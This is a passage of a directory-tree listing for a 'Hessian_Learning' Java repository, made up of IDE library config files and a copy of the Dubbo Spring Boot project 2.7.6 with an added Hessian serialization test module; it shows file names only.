├── Hessian_Learning ├── .idea │ ├── .gitignore │ ├── Hessian_Learning.iml │ ├── codeStyles │ │ ├── Project.xml │ │ └── codeStyleConfig.xml │ ├── compiler.xml │ ├── encodings.xml │ ├── jarRepositories.xml │ ├── libraries │ │ ├── Maven__ch_qos_logback_logback_classic_1_1_11.xml │ │ ├── Maven__ch_qos_logback_logback_classic_1_2_11.xml │ │ ├── Maven__ch_qos_logback_logback_classic_1_2_3.xml │ │ ├── Maven__ch_qos_logback_logback_core_1_1_11.xml │ │ ├── Maven__ch_qos_logback_logback_core_1_2_11.xml │ │ ├── Maven__ch_qos_logback_logback_core_1_2_3.xml │ │ ├── Maven__com_alibaba_dubbo_registry_nacos_2_7_6.xml │ │ ├── Maven__com_alibaba_fastjson_1_2_60.xml │ │ ├── Maven__com_alibaba_nacos_nacos_api_1_2_1.xml │ │ ├── Maven__com_alibaba_nacos_nacos_client_1_2_1.xml │ │ ├── Maven__com_alibaba_nacos_nacos_common_1_2_1.xml │ │ ├── Maven__com_alibaba_spring_spring_context_support_1_0_6.xml │ │ ├── Maven__com_caucho_hessian_4_0_63.xml │ │ ├── Maven__com_fasterxml_classmate_1_3_4.xml │ │ ├── Maven__com_fasterxml_classmate_1_5_1.xml │ │ ├── Maven__com_fasterxml_jackson_core_jackson_annotations_2_10_3.xml │ │ ├── Maven__com_fasterxml_jackson_core_jackson_annotations_2_13_2.xml │ │ ├── Maven__com_fasterxml_jackson_core_jackson_annotations_2_8_0.xml │ │ ├── Maven__com_fasterxml_jackson_core_jackson_core_2_10_3.xml │ │ ├── Maven__com_fasterxml_jackson_core_jackson_core_2_13_2.xml │ │ ├── Maven__com_fasterxml_jackson_core_jackson_core_2_8_11.xml │ │ ├── Maven__com_fasterxml_jackson_core_jackson_databind_2_10_3.xml │ │ ├── Maven__com_fasterxml_jackson_core_jackson_databind_2_13_2_1.xml │ │ ├── Maven__com_fasterxml_jackson_core_jackson_databind_2_8_11_3.xml │ │ ├── Maven__com_fasterxml_jackson_datatype_jackson_datatype_jdk8_2_10_3.xml │ │ ├── Maven__com_fasterxml_jackson_datatype_jackson_datatype_jdk8_2_13_2.xml │ │ ├── Maven__com_fasterxml_jackson_datatype_jackson_datatype_jsr310_2_10_3.xml │ │ ├── Maven__com_fasterxml_jackson_datatype_jackson_datatype_jsr310_2_13_2.xml │ │ ├── Maven__com_fasterxml_jackson_module_jackson_module_parameter_names_2_10_3.xml │ │ ├── Maven__com_fasterxml_jackson_module_jackson_module_parameter_names_2_13_2.xml │ │ ├── Maven__com_google_code_findbugs_jsr305_1_3_9.xml │ │ ├── Maven__com_google_code_gson_gson_2_8_5.xml │ │ ├── Maven__com_google_code_gson_gson_2_8_6.xml │ │ ├── Maven__com_google_code_gson_gson_2_8_9.xml │ │ ├── Maven__com_google_errorprone_error_prone_annotations_2_0_18.xml │ │ ├── Maven__com_google_guava_guava_20_0.xml │ │ ├── Maven__com_google_guava_guava_22_0.xml │ │ ├── Maven__com_google_j2objc_j2objc_annotations_1_1.xml │ │ ├── Maven__com_jayway_jsonpath_json_path_2_2_0.xml │ │ ├── Maven__com_jayway_jsonpath_json_path_2_4_0.xml │ │ ├── Maven__com_jayway_jsonpath_json_path_2_6_0.xml │ │ ├── Maven__com_rometools_rome_1_7_0.xml │ │ ├── Maven__com_rometools_rome_utils_1_7_0.xml │ │ ├── Maven__com_vaadin_external_google_android_json_0_0_20131108_vaadin1.xml │ │ ├── Maven__commons_codec_commons_codec_1_13.xml │ │ ├── Maven__commons_io_commons_io_2_6.xml │ │ ├── Maven__commons_logging_commons_logging_1_2.xml │ │ ├── Maven__io_micrometer_micrometer_core_1_3_6.xml │ │ ├── Maven__io_netty_netty_all_4_1_25_Final.xml │ │ ├── Maven__io_netty_netty_all_4_1_48_Final.xml │ │ ├── Maven__io_netty_netty_all_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_buffer_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_codec_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_codec_dns_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_codec_haproxy_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_codec_http2_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_codec_http_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_codec_memcache_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_codec_mqtt_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_codec_redis_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_codec_smtp_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_codec_socks_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_codec_stomp_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_codec_xml_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_common_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_handler_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_handler_proxy_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_resolver_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_resolver_dns_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_resolver_dns_classes_macos_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_resolver_dns_native_macos_osx_aarch_64_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_resolver_dns_native_macos_osx_x86_64_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_transport_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_transport_classes_epoll_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_transport_classes_kqueue_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_transport_native_epoll_linux_aarch_64_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_transport_native_epoll_linux_x86_64_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_transport_native_kqueue_osx_aarch_64_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_transport_native_kqueue_osx_x86_64_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_transport_native_unix_common_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_transport_rxtx_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_transport_sctp_4_1_76_Final.xml │ │ ├── Maven__io_netty_netty_transport_udt_4_1_76_Final.xml │ │ ├── Maven__io_prometheus_simpleclient_0_5_0.xml │ │ ├── Maven__jakarta_activation_jakarta_activation_api_1_2_2.xml │ │ ├── Maven__jakarta_annotation_jakarta_annotation_api_1_3_5.xml │ │ ├── Maven__jakarta_validation_jakarta_validation_api_2_0_2.xml │ │ ├── Maven__jakarta_xml_bind_jakarta_xml_bind_api_2_3_3.xml │ │ ├── Maven__javax_annotation_javax_annotation_api_1_3_2.xml │ │ ├── Maven__javax_validation_validation_api_1_1_0_Final.xml │ │ ├── Maven__jline_jline_0_9_94.xml │ │ ├── Maven__junit_junit_4_12.xml │ │ ├── Maven__log4j_log4j_1_2_16.xml │ │ ├── Maven__log4j_log4j_1_2_17.xml │ │ ├── Maven__net_bytebuddy_byte_buddy_1_10_8.xml │ │ ├── Maven__net_bytebuddy_byte_buddy_1_11_22.xml │ │ ├── Maven__net_bytebuddy_byte_buddy_agent_1_10_8.xml │ │ ├── Maven__net_bytebuddy_byte_buddy_agent_1_11_22.xml │ │ ├── Maven__net_minidev_accessors_smart_1_1.xml │ │ ├── Maven__net_minidev_accessors_smart_1_2.xml │ │ ├── Maven__net_minidev_accessors_smart_2_4_8.xml │ │ ├── Maven__net_minidev_json_smart_2_2_1.xml │ │ ├── Maven__net_minidev_json_smart_2_3.xml │ │ ├── Maven__net_minidev_json_smart_2_4_8.xml │ │ ├── Maven__org_apache_commons_commons_lang3_3_9.xml │ │ ├── Maven__org_apache_curator_curator_client_4_0_1.xml │ │ ├── Maven__org_apache_curator_curator_framework_4_0_1.xml │ │ ├── Maven__org_apache_curator_curator_recipes_4_0_1.xml │ │ ├── Maven__org_apache_dubbo_dubbo_2_7_6.xml │ │ ├── Maven__org_apache_dubbo_dubbo_cluster_2_7_6.xml │ │ ├── Maven__org_apache_dubbo_dubbo_common_2_7_6.xml │ │ ├── Maven__org_apache_dubbo_dubbo_container_api_2_7_6.xml │ │ ├── Maven__org_apache_dubbo_dubbo_metadata_api_2_7_6.xml │ │ ├── Maven__org_apache_dubbo_dubbo_registry_api_2_7_6.xml │ │ ├── Maven__org_apache_dubbo_dubbo_remoting_api_2_7_6.xml │ │ ├── Maven__org_apache_dubbo_dubbo_rpc_api_2_7_6.xml │ │ ├── Maven__org_apache_dubbo_dubbo_serialization_api_2_7_6.xml │ │ ├── Maven__org_apache_logging_log4j_log4j_api_2_12_1.xml │ │ ├── Maven__org_apache_logging_log4j_log4j_api_2_17_2.xml │ │ ├── Maven__org_apache_logging_log4j_log4j_to_slf4j_2_12_1.xml │ │ ├── Maven__org_apache_logging_log4j_log4j_to_slf4j_2_17_2.xml │ │ ├── Maven__org_apache_tomcat_embed_tomcat_embed_core_8_5_43.xml │ │ ├── Maven__org_apache_tomcat_embed_tomcat_embed_core_9_0_33.xml │ │ ├── Maven__org_apache_tomcat_embed_tomcat_embed_core_9_0_62.xml │ │ ├── Maven__org_apache_tomcat_embed_tomcat_embed_el_8_5_43.xml │ │ ├── Maven__org_apache_tomcat_embed_tomcat_embed_el_9_0_33.xml │ │ ├── Maven__org_apache_tomcat_embed_tomcat_embed_el_9_0_62.xml │ │ ├── Maven__org_apache_tomcat_embed_tomcat_embed_websocket_8_5_43.xml │ │ ├── Maven__org_apache_tomcat_embed_tomcat_embed_websocket_9_0_33.xml │ │ ├── Maven__org_apache_tomcat_embed_tomcat_embed_websocket_9_0_62.xml │ │ ├── Maven__org_apache_tomcat_tomcat_annotations_api_8_5_43.xml │ │ ├── Maven__org_apache_yetus_audience_annotations_0_5_0.xml │ │ ├── Maven__org_apache_zookeeper_zookeeper_3_4_13.xml │ │ ├── Maven__org_apiguardian_apiguardian_api_1_1_0.xml │ │ ├── Maven__org_apiguardian_apiguardian_api_1_1_2.xml │ │ ├── Maven__org_assertj_assertj_core_2_6_0.xml │ │ ├── Maven__org_assertj_assertj_core_3_13_2.xml │ │ ├── Maven__org_assertj_assertj_core_3_21_0.xml │ │ ├── Maven__org_codehaus_mojo_animal_sniffer_annotations_1_14.xml │ │ ├── Maven__org_hamcrest_hamcrest_2_1.xml │ │ ├── Maven__org_hamcrest_hamcrest_2_2.xml │ │ ├── Maven__org_hamcrest_hamcrest_core_1_3.xml │ │ ├── Maven__org_hamcrest_hamcrest_library_1_3.xml │ │ ├── Maven__org_hdrhistogram_HdrHistogram_2_1_11.xml │ │ ├── Maven__org_hibernate_hibernate_validator_5_3_6_Final.xml │ │ ├── Maven__org_hibernate_validator_hibernate_validator_6_0_18_Final.xml │ │ ├── Maven__org_javassist_javassist_3_20_0_GA.xml │ │ ├── Maven__org_javassist_javassist_3_21_0_GA.xml │ │ ├── Maven__org_jboss_logging_jboss_logging_3_3_2_Final.xml │ │ ├── Maven__org_jboss_logging_jboss_logging_3_4_1_Final.xml │ │ ├── Maven__org_jdom_jdom2_2_0_6.xml │ │ ├── Maven__org_jdom_jdom2_2_0_6_1.xml │ │ ├── Maven__org_junit_jupiter_junit_jupiter_5_5_2.xml │ │ ├── Maven__org_junit_jupiter_junit_jupiter_5_8_2.xml │ │ ├── Maven__org_junit_jupiter_junit_jupiter_api_5_5_2.xml │ │ ├── Maven__org_junit_jupiter_junit_jupiter_api_5_8_2.xml │ │ ├── Maven__org_junit_jupiter_junit_jupiter_engine_5_5_2.xml │ │ ├── Maven__org_junit_jupiter_junit_jupiter_engine_5_8_2.xml │ │ ├── Maven__org_junit_jupiter_junit_jupiter_params_5_5_2.xml │ │ ├── Maven__org_junit_jupiter_junit_jupiter_params_5_8_2.xml │ │ ├── Maven__org_junit_platform_junit_platform_commons_1_5_2.xml │ │ ├── Maven__org_junit_platform_junit_platform_commons_1_8_2.xml │ │ ├── Maven__org_junit_platform_junit_platform_engine_1_5_2.xml │ │ ├── Maven__org_junit_platform_junit_platform_engine_1_8_2.xml │ │ ├── Maven__org_junit_vintage_junit_vintage_engine_5_5_2.xml │ │ ├── Maven__org_latencyutils_LatencyUtils_2_0_3.xml │ │ ├── Maven__org_mockito_mockito_core_1_10_19.xml │ │ ├── Maven__org_mockito_mockito_core_3_1_0.xml │ │ ├── Maven__org_mockito_mockito_core_4_0_0.xml │ │ ├── Maven__org_mockito_mockito_junit_jupiter_3_1_0.xml │ │ ├── Maven__org_mockito_mockito_junit_jupiter_4_0_0.xml │ │ ├── Maven__org_objenesis_objenesis_2_1.xml │ │ ├── Maven__org_objenesis_objenesis_2_6.xml │ │ ├── Maven__org_objenesis_objenesis_3_2.xml │ │ ├── Maven__org_opentest4j_opentest4j_1_2_0.xml │ │ ├── Maven__org_ow2_asm_asm_5_0_3.xml │ │ ├── Maven__org_ow2_asm_asm_5_0_4.xml │ │ ├── Maven__org_ow2_asm_asm_9_1.xml │ │ ├── Maven__org_skyscreamer_jsonassert_1_4_0.xml │ │ ├── Maven__org_skyscreamer_jsonassert_1_5_0.xml │ │ ├── Maven__org_slf4j_jcl_over_slf4j_1_7_26.xml │ │ ├── Maven__org_slf4j_jul_to_slf4j_1_7_26.xml │ │ ├── Maven__org_slf4j_jul_to_slf4j_1_7_30.xml │ │ ├── Maven__org_slf4j_jul_to_slf4j_1_7_36.xml │ │ ├── Maven__org_slf4j_log4j_over_slf4j_1_7_26.xml │ │ ├── Maven__org_slf4j_slf4j_api_1_7_16.xml │ │ ├── Maven__org_slf4j_slf4j_api_1_7_26.xml │ │ ├── Maven__org_slf4j_slf4j_api_1_7_30.xml │ │ ├── Maven__org_slf4j_slf4j_api_1_7_36.xml │ │ ├── Maven__org_springframework_boot_spring_boot_1_5_22_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_2_2_6_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_2_6_7.xml │ │ ├── Maven__org_springframework_boot_spring_boot_actuator_1_5_22_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_actuator_2_2_6_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_actuator_autoconfigure_2_2_6_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_autoconfigure_1_5_22_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_autoconfigure_2_2_6_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_autoconfigure_2_6_7.xml │ │ ├── Maven__org_springframework_boot_spring_boot_configuration_processor_1_5_22_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_starter_1_5_22_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_starter_2_2_6_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_starter_2_6_7.xml │ │ ├── Maven__org_springframework_boot_spring_boot_starter_actuator_1_5_22_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_starter_actuator_2_2_6_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_starter_json_2_2_6_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_starter_json_2_6_7.xml │ │ ├── Maven__org_springframework_boot_spring_boot_starter_logging_1_5_22_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_starter_logging_2_2_6_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_starter_logging_2_6_7.xml │ │ ├── Maven__org_springframework_boot_spring_boot_starter_test_1_5_22_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_starter_test_2_2_6_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_starter_test_2_6_7.xml │ │ ├── Maven__org_springframework_boot_spring_boot_starter_tomcat_1_5_22_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_starter_tomcat_2_2_6_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_starter_tomcat_2_6_7.xml │ │ ├── Maven__org_springframework_boot_spring_boot_starter_validation_2_2_6_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_starter_web_1_5_22_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_starter_web_2_2_6_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_starter_web_2_6_7.xml │ │ ├── Maven__org_springframework_boot_spring_boot_test_1_5_22_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_test_2_2_6_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_test_2_6_7.xml │ │ ├── Maven__org_springframework_boot_spring_boot_test_autoconfigure_1_5_22_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_test_autoconfigure_2_2_6_RELEASE.xml │ │ ├── Maven__org_springframework_boot_spring_boot_test_autoconfigure_2_6_7.xml │ │ ├── Maven__org_springframework_spring_aop_4_3_16_RELEASE.xml │ │ ├── Maven__org_springframework_spring_aop_4_3_25_RELEASE.xml │ │ ├── Maven__org_springframework_spring_aop_5_2_5_RELEASE.xml │ │ ├── Maven__org_springframework_spring_aop_5_3_19.xml │ │ ├── Maven__org_springframework_spring_beans_4_3_16_RELEASE.xml │ │ ├── Maven__org_springframework_spring_beans_4_3_25_RELEASE.xml │ │ ├── Maven__org_springframework_spring_beans_5_2_5_RELEASE.xml │ │ ├── Maven__org_springframework_spring_beans_5_3_19.xml │ │ ├── Maven__org_springframework_spring_context_4_3_16_RELEASE.xml │ │ ├── Maven__org_springframework_spring_context_4_3_25_RELEASE.xml │ │ ├── Maven__org_springframework_spring_context_5_2_5_RELEASE.xml │ │ ├── Maven__org_springframework_spring_context_5_3_19.xml │ │ ├── Maven__org_springframework_spring_core_4_3_16_RELEASE.xml │ │ ├── Maven__org_springframework_spring_core_4_3_25_RELEASE.xml │ │ ├── Maven__org_springframework_spring_core_5_2_5_RELEASE.xml │ │ ├── Maven__org_springframework_spring_core_5_3_19.xml │ │ ├── Maven__org_springframework_spring_expression_4_3_16_RELEASE.xml │ │ ├── Maven__org_springframework_spring_expression_4_3_25_RELEASE.xml │ │ ├── Maven__org_springframework_spring_expression_5_2_5_RELEASE.xml │ │ ├── Maven__org_springframework_spring_expression_5_3_19.xml │ │ ├── Maven__org_springframework_spring_jcl_5_2_5_RELEASE.xml │ │ ├── Maven__org_springframework_spring_jcl_5_3_19.xml │ │ ├── Maven__org_springframework_spring_test_4_3_25_RELEASE.xml │ │ ├── Maven__org_springframework_spring_test_5_2_5_RELEASE.xml │ │ ├── Maven__org_springframework_spring_test_5_3_19.xml │ │ ├── Maven__org_springframework_spring_web_4_3_25_RELEASE.xml │ │ ├── Maven__org_springframework_spring_web_5_2_5_RELEASE.xml │ │ ├── Maven__org_springframework_spring_web_5_3_19.xml │ │ ├── Maven__org_springframework_spring_webmvc_4_3_25_RELEASE.xml │ │ ├── Maven__org_springframework_spring_webmvc_5_2_5_RELEASE.xml │ │ ├── Maven__org_springframework_spring_webmvc_5_3_19.xml │ │ ├── Maven__org_xmlunit_xmlunit_core_2_6_4.xml │ │ ├── Maven__org_xmlunit_xmlunit_core_2_8_4.xml │ │ ├── Maven__org_yaml_snakeyaml_1_17.xml │ │ ├── Maven__org_yaml_snakeyaml_1_20.xml │ │ ├── Maven__org_yaml_snakeyaml_1_25.xml │ │ └── Maven__org_yaml_snakeyaml_1_29.xml │ ├── misc.xml │ ├── modules.xml │ ├── runConfigurations.xml │ └── vcs.xml ├── dubbo-spring-boot-project-2.7.6 │ ├── .gitignore │ ├── .mvn │ │ └── wrapper │ │ │ ├── maven-wrapper.jar │ │ │ └── maven-wrapper.properties │ ├── .travis.yml │ ├── Hessian │ │ ├── pom.xml │ │ └── src │ │ │ └── main │ │ │ └── java │ │ │ ├── Hessian2_Test.java │ │ │ ├── Hessian_JNDI.java │ │ │ ├── Hessian_Test.java │ │ │ ├── People.java │ │ │ ├── Person.java │ │ │ ├── Ser_Test.java │ │ │ ├── SerialTest.java │ │ │ └── Student.java │ ├── LICENSE │ ├── NOTICE │ ├── README.md │ ├── README_CN.md │ ├── dubbo-spring-boot-actuator │ │ ├── JMX_HealthEndpoint.png │ │ ├── README.md │ │ ├── pom.xml │ │ └── src │ │ │ ├── main │ │ │ ├── java │ │ │ │ └── org │ │ │ │ │ └── apache │ │ │ │ │ └── dubbo │ │ │ │ │ └── spring │ │ │ │ │ └── boot │ │ │ │ │ └── actuate │ │ │ │ │ ├── autoconfigure │ │ │ │ │ └── DubboEndpointAnnotationAutoConfiguration.java │ │ │ │ │ └── endpoint │ │ │ │ │ ├── DubboConfigsMetadataEndpoint.java │ │ │ │ │ ├── DubboMetadataEndpoint.java │ │ │ │ │ ├── DubboPropertiesMetadataEndpoint.java │ │ │ │ │ ├── DubboReferencesMetadataEndpoint.java │ │ │ │ │ ├── DubboServicesMetadataEndpoint.java │ │ │ │ │ └── DubboShutdownEndpoint.java │ │ │ └── resources │ │ │ │ └── META-INF │ │ │ │ ├── dubbo-endpoints-default.properties │ │ │ │ └── spring.factories │ │ │ └── test │ │ │ └── java │ │ │ └── org │ │ │ └── apache │ │ │ └── dubbo │ │ │ └── spring │ │ │ └── boot │ │ │ └── actuate │ │ │ ├── autoconfigure │ │ │ └── DubboEndpointAnnotationAutoConfigurationTest.java │ │ │ └── endpoint │ │ │ └── DubboEndpointTest.java │ ├── dubbo-spring-boot-autoconfigure │ │ ├── README.md │ │ ├── config-popup-window.png │ │ ├── mconfig-popup-window.png │ │ ├── pom.xml │ │ └── src │ │ │ ├── main │ │ │ ├── java │ │ │ │ └── org │ │ │ │ │ └── apache │ │ │ │ │ └── dubbo │ │ │ │ │ └── spring │ │ │ │ │ └── boot │ │ │ │ │ └── autoconfigure │ │ │ │ │ ├── BinderDubboConfigBinder.java │ │ │ │ │ ├── DelegatingPropertyResolver.java │ │ │ │ │ └── DubboRelaxedBinding2AutoConfiguration.java │ │ │ └── resources │ │ │ │ └── META-INF │ │ │ │ └── spring.factories │ │ │ └── test │ │ │ ├── java │ │ │ └── org │ │ │ │ └── apache │ │ │ │ └── dubbo │ │ │ │ └── spring │ │ │ │ └── boot │ │ │ │ ├── autoconfigure │ │ │ │ ├── BinderDubboConfigBinderTest.java │ │ │ │ └── DubboRelaxedBinding2AutoConfigurationTest.java │ │ │ │ ├── context │ │ │ │ └── event │ │ │ │ │ └── AwaitingNonWebApplicationListenerTest.java │ │ │ │ ├── env │ │ │ │ └── DubboDefaultPropertiesEnvironmentPostProcessorTest.java │ │ │ │ └── util │ │ │ │ └── EnvironmentUtilsTest.java │ │ │ └── resources │ │ │ └── dubbo.properties │ ├── dubbo-spring-boot-compatible │ │ ├── actuator │ │ │ ├── pom.xml │ │ │ └── src │ │ │ │ ├── main │ │ │ │ ├── java │ │ │ │ │ └── org │ │ │ │ │ │ └── apache │ │ │ │ │ │ └── dubbo │ │ │ │ │ │ └── spring │ │ │ │ │ │ └── boot │ │ │ │ │ │ └── actuate │ │ │ │ │ │ ├── autoconfigure │ │ │ │ │ │ ├── DubboEndpointAutoConfiguration.java │ │ │ │ │ │ ├── DubboEndpointMetadataAutoConfiguration.java │ │ │ │ │ │ ├── DubboHealthIndicatorAutoConfiguration.java │ │ │ │ │ │ └── DubboMvcEndpointManagementContextConfiguration.java │ │ │ │ │ │ ├── endpoint │ │ │ │ │ │ ├── DubboEndpoint.java │ │ │ │ │ │ ├── metadata │ │ │ │ │ │ │ ├── AbstractDubboMetadata.java │ │ │ │ │ │ │ ├── DubboConfigsMetadata.java │ │ │ │ │ │ │ ├── DubboMetadata.java │ │ │ │ │ │ │ ├── DubboPropertiesMetadata.java │ │ │ │ │ │ │ ├── DubboReferencesMetadata.java │ │ │ │ │ │ │ ├── DubboServicesMetadata.java │ │ │ │ │ │ │ └── DubboShutdownMetadata.java │ │ │ │ │ │ └── mvc │ │ │ │ │ │ │ └── DubboMvcEndpoint.java │ │ │ │ │ │ └── health │ │ │ │ │ │ ├── DubboHealthIndicator.java │ │ │ │ │ │ └── DubboHealthIndicatorProperties.java │ │ │ │ └── resources │ │ │ │ │ └── META-INF │ │ │ │ │ └── spring.factories │ │ │ │ └── test │ │ │ │ └── java │ │ │ │ └── org │ │ │ │ └── apache │ │ │ │ └── dubbo │ │ │ │ └── spring │ │ │ │ └── boot │ │ │ │ └── actuate │ │ │ │ ├── autoconfigure │ │ │ │ └── DubboEndpointAutoConfigurationTest.java │ │ │ │ └── health │ │ │ │ └── DubboHealthIndicatorTest.java │ │ ├── autoconfigure │ │ │ ├── pom.xml │ │ │ └── src │ │ │ │ ├── main │ │ │ │ ├── java │ │ │ │ │ └── org │ │ │ │ │ │ └── apache │ │ │ │ │ │ └── dubbo │ │ │ │ │ │ └── spring │ │ │ │ │ │ └── boot │ │ │ │ │ │ ├── autoconfigure │ │ │ │ │ │ ├── DubboAutoConfiguration.java │ │ │ │ │ │ ├── DubboConfigurationProperties.java │ │ │ │ │ │ ├── DubboRelaxedBindingAutoConfiguration.java │ │ │ │ │ │ └── RelaxedDubboConfigBinder.java │ │ │ │ │ │ ├── beans │ │ │ │ │ │ └── factory │ │ │ │ │ │ │ └── config │ │ │ │ │ │ │ ├── DubboConfigBeanCustomizer.java │ │ │ │ │ │ │ ├── DubboConfigBeanDefinitionConflictProcessor.java │ │ │ │ │ │ │ └── OverrideBeanDefinitionRegistryPostProcessor.java │ │ │ │ │ │ ├── context │ │ │ │ │ │ ├── DubboApplicationContextInitializer.java │ │ │ │ │ │ └── event │ │ │ │ │ │ │ ├── AwaitingNonWebApplicationListener.java │ │ │ │ │ │ │ ├── DubboConfigBeanDefinitionConflictApplicationListener.java │ │ │ │ │ │ │ ├── OverrideDubboConfigApplicationListener.java │ │ │ │ │ │ │ └── WelcomeLogoApplicationListener.java │ │ │ │ │ │ ├── env │ │ │ │ │ │ └── DubboDefaultPropertiesEnvironmentPostProcessor.java │ │ │ │ │ │ └── util │ │ │ │ │ │ ├── DubboUtils.java │ │ │ │ │ │ └── EnvironmentUtils.java │ │ │ │ └── resources │ │ │ │ │ └── META-INF │ │ │ │ │ └── spring.factories │ │ │ │ └── test │ │ │ │ ├── java │ │ │ │ └── org │ │ │ │ │ └── apache │ │ │ │ │ └── dubbo │ │ │ │ │ └── spring │ │ │ │ │ └── boot │ │ │ │ │ ├── autoconfigure │ │ │ │ │ ├── CompatibleDubboAutoConfigurationTest.java │ │ │ │ │ ├── CompatibleDubboAutoConfigurationTestWithoutProperties.java │ │ │ │ │ ├── DubboAutoConfigurationOnMultipleConfigTest.java │ │ │ │ │ ├── DubboAutoConfigurationOnSingleConfigTest.java │ │ │ │ │ └── RelaxedDubboConfigBinderTest.java │ │ │ │ │ ├── beans │ │ │ │ │ └── factory │ │ │ │ │ │ └── config │ │ │ │ │ │ └── DubboConfigBeanDefinitionConflictProcessorTest.java │ │ │ │ │ ├── context │ │ │ │ │ └── event │ │ │ │ │ │ ├── AwaitingNonWebApplicationListenerTest.java │ │ │ │ │ │ ├── DubboConfigBeanDefinitionConflictApplicationListenerTest.java │ │ │ │ │ │ ├── OverrideDubboConfigApplicationListenerDisableTest.java │ │ │ │ │ │ ├── OverrideDubboConfigApplicationListenerTest.java │ │ │ │ │ │ └── WelcomeLogoApplicationListenerTest.java │ │ │ │ │ ├── env │ │ │ │ │ └── DubboDefaultPropertiesEnvironmentPostProcessorTest.java │ │ │ │ │ └── util │ │ │ │ │ ├── DubboUtilsTest.java │ │ │ │ │ └── EnvironmentUtilsTest.java │ │ │ │ └── resources │ │ │ │ └── META-INF │ │ │ │ ├── dubbo.properties │ │ │ │ └── spring │ │ │ │ └── dubbo-context.xml │ │ └── pom.xml │ ├── dubbo-spring-boot-distribution │ │ ├── assembly │ │ │ ├── bin-release.xml │ │ │ └── source-release.xml │ │ └── pom.xml │ ├── dubbo-spring-boot-parent │ │ └── pom.xml │ ├── dubbo-spring-boot-samples │ │ ├── auto-configure-samples │ │ │ ├── consumer-sample │ │ │ │ ├── pom.xml │ │ │ │ └── src │ │ │ │ │ └── main │ │ │ │ │ ├── java │ │ │ │ │ ├── Tool │ │ │ │ │ │ └── Tool.java │ │ │ │ │ └── org │ │ │ │ │ │ └── apache │ │ │ │ │ │ └── dubbo │ │ │ │ │ │ └── spring │ │ │ │ │ │ └── boot │ │ │ │ │ │ └── demo │ │ │ │ │ │ └── consumer │ │ │ │ │ │ └── bootstrap │ │ │ │ │ │ └── DubboAutoConfigurationConsumerBootstrap.java │ │ │ │ │ └── resources │ │ │ │ │ └── application.yml │ │ │ ├── pom.xml │ │ │ └── provider-sample │ │ │ │ ├── pom.xml │ │ │ │ └── src │ │ │ │ └── main │ │ │ │ ├── java │ │ │ │ └── org │ │ │ │ │ └── apache │ │ │ │ │ └── dubbo │ │ │ │ │ └── spring │ │ │ │ │ └── boot │ │ │ │ │ └── demo │ │ │ │ │ └── provider │ │ │ │ │ ├── bootstrap │ │ │ │ │ └── DubboAutoConfigurationProviderBootstrap.java │ │ │ │ │ └── service │ │ │ │ │ └── DefaultDemoService.java │ │ │ │ └── resources │ │ │ │ └── application.properties │ │ ├── dubbo-registry-nacos-samples │ │ │ ├── consumer-sample │ │ │ │ ├── pom.xml │ │ │ │ └── src │ │ │ │ │ └── main │ │ │ │ │ ├── java │ │ │ │ │ └── org │ │ │ │ │ │ └── apache │ │ │ │ │ │ └── dubbo │ │ │ │ │ │ └── spring │ │ │ │ │ │ └── boot │ │ │ │ │ │ └── demo │ │ │ │ │ │ └── consumer │ │ │ │ │ │ └── bootstrap │ │ │ │ │ │ └── DubboRegistryNacosConsumerBootstrap.java │ │ │ │ │ └── resources │ │ │ │ │ └── application.yml │ │ │ ├── pom.xml │ │ │ └── provider-sample │ │ 